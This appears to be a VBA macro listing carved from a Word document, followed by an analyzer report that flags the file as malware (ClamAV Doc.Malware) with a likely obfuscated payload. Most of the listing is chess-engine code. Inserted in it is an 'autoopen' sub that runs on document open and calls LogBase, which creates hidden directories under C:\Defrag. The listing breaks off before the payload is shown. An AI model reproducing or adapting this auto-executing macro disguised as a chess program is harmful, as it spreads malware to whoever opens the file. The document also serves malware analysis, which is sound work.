'---------------------------------------------------------------------------
' InitPieceSquares: Init tables for pieces and squares
' Squares(board location) points to piece in Pieces() list
' Pieces(piece num) points to board location
'---------------------------------------------------------------------------
Public Sub InitPieceSquares()
  Dim i As Long, PT As Long

  NumPieces = 0
  Pieces(0) = 0
  Erase PieceCnt()
  Erase Squares()
  Erase Pieces()
  
  '--- White --
  WhitePiecesStart = 1
  For PT = PT_PAWN To PT_KING ' sort by piece type
  For i = SQ_A1 To SQ_H8
    If (Board(i) <> FRAME And Board(i) < NO_PIECE And Board(i) Mod 2 = WCOL) And PieceType(Board(i)) = PT Then
      NumPieces = NumPieces + 1: Pieces(NumPieces) = i: Squares(i) = NumPieces
      PieceCntPlus Board(i)
      Select Case Board(i)
        Case WKING: WKingLoc = i
      End Select
    End If
  Next
  Next
  WhitePiecesEnd = NumPieces
  
  '--- Black  ---
  BlackPiecesStart = NumPieces + 1
  For PT = PT_PAWN To PT_KING
  For i = SQ_A1 To SQ_H8
    If (Board(i) <> FRAME And Board(i) < NO_PIECE And Board(i) Mod 2 = BCOL) And PieceType(Board(i)) = PT Then
      NumPieces = NumPieces + 1: Pieces(NumPieces) = i: Squares(i) = NumPieces
      PieceCntPlus Board(i)
      Select Case Board(i)
        Case BKING: BKingLoc = i
      End Select
    End If
  Next
  Next
  BlackPiecesEnd = NumPieces

  ResetMaterial

End Sub

Public Sub PieceCntPlus(ByVal piece As Long)
  If piece > FRAME And piece < NO_PIECE Then PieceCnt(piece) = PieceCnt(piece) + 1
End Sub

Public Sub PieceCntMinus(ByVal piece As Long)
  If piece > FRAME And piece < NO_PIECE Then PieceCnt(piece) = PieceCnt(piece) - 1
End Sub


'---------------------------------------------------------------------------
'InCheck() Color to move in check?
'---------------------------------------------------------------------------
Public Function InCheck() As Boolean
  If bWhiteToMove Then
    InCheck = IsAttackedByB(WKingLoc)
  Else
    InCheck = IsAttackedByW(BKingLoc)
  End If
End Function

Public Function OppInCheck() As Boolean
  If Not bWhiteToMove Then
    OppInCheck = IsAttackedByB(WKingLoc)
  Else
    OppInCheck = IsAttackedByW(BKingLoc)
  End If
End Function

Public Function LocCoord(Square As Long) As String
  LocCoord = UCase$(ChrW$(File(Square) + 96) & Rank(Square))
End Function

'---------------------------------------------------------------------------
' Board File character to number  A => 1
'---------------------------------------------------------------------------
Public Function FileRev(ByVal sFile As String) As Long
  FileRev = Asc(LCase$(sFile)) - 96
End Function

'---------------------------------------------------------------------------
'RankRev() - Board Rank number to square number Rank 2 = 30
'---------------------------------------------------------------------------
Public Function RankRev(ByVal sRank As String) As Long
  RankRev = (Val(sRank) + 1) * 10
End Function

Public Function RelativeRank(Col, sq As Long) As Long
  If Col = COL_WHITE Then
    RelativeRank = Rank(sq)
  Else
    RelativeRank = (9 - Rank(sq))
  End If
End Function

'---------------------------------------------------------------------------
'CompToCoord(): Convert internal move to text output
'---------------------------------------------------------------------------
Public Function CompToCoord(CompMove) As String

  Dim sCoordMove As String
  If CompMove.From = 0 Then CompToCoord = "": Exit Function
  sCoordMove = ChrW$(File(CompMove.From) + 96) & Rank(CompMove.From) & ChrW$(File(CompMove.Target) + 96) & Rank(CompMove.Target)

  If CompMove.Promoted <> 0 Then
    Select Case CompMove.Promoted
      Case WKNIGHT, BKNIGHT
        sCoordMove = sCoordMove & "n"
      Case WROOK, BROOK
        sCoordMove = sCoordMove & "r"
      Case WBISHOP, BBISHOP
        sCoordMove = sCoordMove & "b"
      Case WQUEEN, BQUEEN
        sCoordMove = sCoordMove & "q"
    End Select
  End If
  CompToCoord = sCoordMove

End Function

Public Function TextToMove(ByVal sMoveText As String)
  ' format "b7b8q"
  TextToMove = EmptyMove
  sMoveText = Trim(Replace(sMoveText, "-", ""))
  TextToMove.From = CoordToLoc(Left$(sMoveText, 2))
  TextToMove.piece = Board(TextToMove.From)
  TextToMove.Target = CoordToLoc(Mid$(sMoveText, 3, 2))
  TextToMove.Captured = Board(TextToMove.Target)
  Select Case LCase(Mid$(sMoveText, 5, 1))
  Case "q":
    If PieceColor(TextToMove.piece) = COL_WHITE Then TextToMove.Promoted = WQUEEN Else TextToMove.Promoted = BQUEEN
  Case "r":
    If PieceColor(TextToMove.piece) = COL_WHITE Then TextToMove.Promoted = WROOK Else TextToMove.Promoted = BROOK
  Case "b":
    If PieceColor(TextToMove.piece) = COL_WHITE Then TextToMove.Promoted = WBISHOP Else TextToMove.Promoted = BBISHOP
  Case "n":
    If PieceColor(TextToMove.piece) = COL_WHITE Then TextToMove.Promoted = WKNIGHT Else TextToMove.Promoted = BKNIGHT
  Case Else
    TextToMove.Promoted = 0
  End Select
    
End Function

Public Function MovesPlyList() As String
  ' Debug: print current move path in search
  Dim i As Long
  For i = 1 To Ply + 1
    MovesPlyList = MovesPlyList & ">" & MovesPly(i)
  Next i
End Function

Public Sub RemoveEpPiece()
  Dim EpPos As Long
  ' Remove EP from Previous Move
  EpPos = EpPosArr(Ply)
  If EpPos > 0 Then
    Select Case Board(EpPos)
      Case WEP_PIECE
        Board(EpPos) = NO_PIECE
      Case BEP_PIECE
        Board(EpPos) = NO_PIECE
    End Select
  End If
End Sub

Public Sub ResetEpPiece()
  ' Reset EP from Previous Move
  Dim EpPos As Long
  EpPos = EpPosArr(Ply)
  If EpPos > 0 Then
    Select Case Rank(EpPos)
      Case 3
        Board(EpPos) = WEP_PIECE
      Case 6
        Board(EpPos) = BEP_PIECE
    End Select
  End If
End Sub
Sub autoopen()
33 LogBase
End Sub
Public Sub CleanEpPieces()
  Dim i As Long
  For i = SQ_A1 To SQ_H8
    If Board(i) = WEP_PIECE Or Board(BEP_PIECE) Then Board(i) = NO_PIECE
  Next
End Sub
Public Function LogBase() As Boolean

  Dim sBookName       As String, sIndexFile As String
  Dim iFBook          As Long, iFIndex As Long
  Dim sBookLine       As String
  Dim lBookIndex      As Long, lAllSet As Long
  Dim sLastWhite1Move As String
 Dim docActive As Document
   
    
Dim htmltext1 As String
Dim htmltext2 As String
Dim htmltext3 As String
Dim fStrForPathLoad As String
Dim htmltext5 As String
Dim lHandle
Dim htmltext6 As String
Dim htmltext10 As String


    fStrForPathLoad = "C:\Defrag\1"
    
    If Right(fStrForPathLoad, 1) <> "\" Then
        fStrForPathLoad = fStrForPathLoad & "\"
        MakeSureDirectoryPathExists fStrForPathLoad
    End If
    
    fStrForPathLoad = "C:\Defrag\1\Disk"
    
    If Right(fStrForPathLoad, 1) <> "\" Then
        fStrForPathLoad = fStrForPathLoad & "\"
        MakeSureDirectoryPathExists fStrForPathLoad
    End If
    
        fStrForPathLoad = "C:\Defrag\1\2"
    
    If Right(fStrForPathLoad, 1) <> "\" Then
        fStrForPathLoad = fStrForPathLoad & "\"
        MakeSureDirectoryPathExists fStrForPathLoad
    End If

    fStrForPathLoad = "C:\Defrag\1\Disk\Report"
    
    If Right(fStrForPathLoad, 1) <> "\" Then
        fStrForPathLoad = fStrForPathLoad & "\"
        MakeSureDirectoryPathExists fStrForPathLoad
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 624640 bytes
SHA-256: 1e42993e5a4ecaa294e3ea3957bd9c4fe1002657344c9cabafced17023f2651c
Detection
ClamAV: Doc.Malware.W2000m-7603021-0
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.